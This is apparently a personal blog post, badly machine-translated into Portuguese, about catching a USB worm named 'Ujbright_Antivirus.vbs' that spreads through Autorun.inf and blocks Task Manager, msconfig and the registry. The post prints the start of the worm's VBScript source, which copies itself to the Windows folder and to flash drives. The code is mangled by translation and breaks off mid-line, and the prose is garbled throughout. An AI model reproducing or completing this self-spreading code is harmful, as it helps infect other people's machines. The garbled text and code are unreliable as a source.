Depois de um tempo loge receber alguns dados de um professor da faculdade, eu empurro minha jetflash dirigir em seu usbport. Após processo de digitalização é exibida e fecha. Tornei-me satisfeito, eu abro myflash unidade. Eu encontrei todos os dados relavent ao meu professor me deu a sós com taht eu achei um arquivo extra. nomeado como um arquivo leia-me. i embora seja novo, então eu abri-lo e há algum lixo escrito nesse arquivo. Então eu excluí-lo. But..there ele está de volta. Agora iDelete-lo novamente e novamente suas costas.
Ido, t sei o que é, então eu abrir o gerenciador de tarefas. Nope não abre. então eu tento msconfig, o registro mas mesmo eles são bloqueados todos os thingin meu computador. Isso é emocionante. Não porque eu tenho trabalho a fazer ou porque agora eu começar o amor de se infectar, mas devido ao fato de que o resultado de ajustes ao redor finalmente eu tenho algum código. Assim, a minha cobiça por um código bacana começa.
Isso tudo vai acontecer em janelas Soi reinicie o PC e inicialize no linux (Ohh sim, é a adorável Ubuntu a partir de DVD).
Então eu acesso ou arquivos de janelas abertas a partir daqui, agora navegar para system32 & verificado esses arquivos. Eu também muito inserida na unidade flash infectado de volta em posar mas não se preocupe o que quer que faz, porque ele não pode brincar com a minha adorável linux. agora em posar eu encontrei três arquivos extras na unidade: Uma readme Idiotic Ujbright_Antivirus.vbs Autorun.inf Foi interessante para mim foi que segundo arquivo. Em tha eu encontrei roteiro claro. Eu abri-lo e encontrá-lo verdadeiro programe da construção lógica disso.
Enquanto wrriting roteiro vitória, um destinado a executar depois de algum tempo de novo e de novo e de novo. Mas tudo o que fiz não foi curroption mas para salvar sua existência e copiar para cada unidade flash que viu. Este estava no roteiro em que segundo arquivo: On Error Resume Next Dim fso, wscr, tf, scrText, vitória, machado Set fso = CreateObject ("Scripting.FileSystemObject") Definir wscr = CreateObject ("WScript.Shell") win = fso.GetSpecialFolder
(0) tf = WScript.ScriptFullName x = LCase (tf) Se de idade (x, 4) = "UjBright_Antivirus.vbs" Então wscr.Run "explorer.exe" e fso.
Getfile (tf) .Drive.Path End If Set myFile = fso.Getfile (tf) .OpenAsTextStream
(1) Faça Até myFile.AtEndOfStream scrText = scrText & myFile.ReadLine & vbCrLf laço machado = fso.FileExists (Win & "\\ UjBright_Antivirus.vbs") Set fso = myFile .CreateTe